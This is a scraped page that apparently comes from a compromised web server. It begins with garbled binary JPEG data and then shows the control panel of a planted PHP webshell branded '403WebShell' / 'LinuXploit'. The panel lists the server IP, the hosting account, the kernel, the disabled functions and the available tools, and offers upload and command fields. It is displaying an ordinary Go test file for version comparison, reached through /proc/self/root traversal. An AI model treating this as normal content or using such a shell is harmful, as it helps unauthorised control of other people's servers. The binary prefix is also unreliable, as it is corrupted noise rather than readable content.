JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.37  /  Your IP : 216.73.216.174
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/opt/golang/1.22.0/src/go/version/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/opt/golang/1.22.0/src/go/version/version_test.go
// Copyright 2023 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package version

import (
	"reflect"
	"testing"
)

func TestCompare(t *testing.T) { test2(t, compareTests, "Compare", Compare) }

var compareTests = []testCase2[string, string, int]{
	{"", "", 0},
	{"x", "x", 0},
	{"", "x", 0},
	{"1", "1.1", 0},
	{"go1", "go1.1", -1},
	{"go1.5", "go1.6", -1},
	{"go1.5", "go1.10", -1},
	{"go1.6", "go1.6.1", -1},
	{"go1.19", "go1.19.0", 0},
	{"go1.19rc1", "go1.19", -1},
	{"go1.20", "go1.20.0", 0},
	{"go1.20", "go1.20.0-bigcorp", 0},
	{"go1.20rc1", "go1.20", -1},
	{"go1.21", "go1.21.0", -1},
	{"go1.21", "go1.21.0-bigcorp", -1},
	{"go1.21", "go1.21rc1", -1},
	{"go1.21rc1", "go1.21.0", -1},
	{"go1.6", "go1.19", -1},
	{"go1.19", "go1.19.1", -1},
	{"go1.19rc1", "go1.19", -1},
	{"go1.19rc1", "go1.19", -1},
	{"go1.19rc1", "go1.19.1", -1},
	{"go1.19rc1", "go1.19rc2", -1},
	{"go1.19.0", "go1.19.1", -1},
	{"go1.19rc1", "go1.19.0", -1},
	{"go1.19alpha3", "go1.19beta2", -1},
	{"go1.19beta2", "go1.19rc1", -1},
	{"go1.1", "go1.99999999999999998", -1},
	{"go1.99999999999999998", "go1.99999999999999999", -1},
}

func TestLang(t *testing.T) { test1(t, langTests, "Lang", Lang) }

var langTests = []testCase1[string, string]{
	{"bad", ""},
	{"go1.2rc3", "go1.2"},
	{"go1.2.3", "go1.2"},
	{"go1.2", "go1.2"},
	{"go1", "go1"},
	{"go222", "go222.0"},
	{"go1.999testmod", "go1.999"},
}

func TestIsValid(t *testing.T) { test1(t, isValidTests, "IsValid", IsValid) }

var isValidTests = []testCase1[string, bool]{
	{"", false},
	{"1.2.3", false},
	{"go1.2rc3", true},
	{"go1.2.3", true},
	{"go1.999testmod", true},
	{"go1.600+auto", false},
	{"go1.22", true},
	{"go1.21.0", true},
	{"go1.21rc2", true},
	{"go1.21", true},
	{"go1.20.0", true},
	{"go1.20", true},
	{"go1.19", true},
	{"go1.3", true},
	{"go1.2", true},
	{"go1", true},
}

type testCase1[In, Out any] struct {
	in  In
	out Out
}

type testCase2[In1, In2, Out any] struct {
	in1 In1
	in2 In2
	out Out
}

func test1[In, Out any](t *testing.T, tests []testCase1[In, Out], name string, f func(In) Out) {
	t.Helper()
	for _, tt := range tests {
		if out := f(tt.in); !reflect.DeepEqual(out, tt.out) {
			t.Errorf("%s(%v) = %v, want %v", name, tt.in, out, tt.out)
		}
	}
}

func test2[In1, In2, Out any](t *testing.T, tests []testCase2[In1, In2, Out], name string, f func(In1, In2) Out) {
	t.Helper()
	for _, tt := range tests {
		if out := f(tt.in1, tt.in2); !reflect.DeepEqual(out, tt.out) {
			t.Errorf("%s(%+v, %+v) = %+v, want %+v", name, tt.in1, tt.in2, out, tt.out)
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit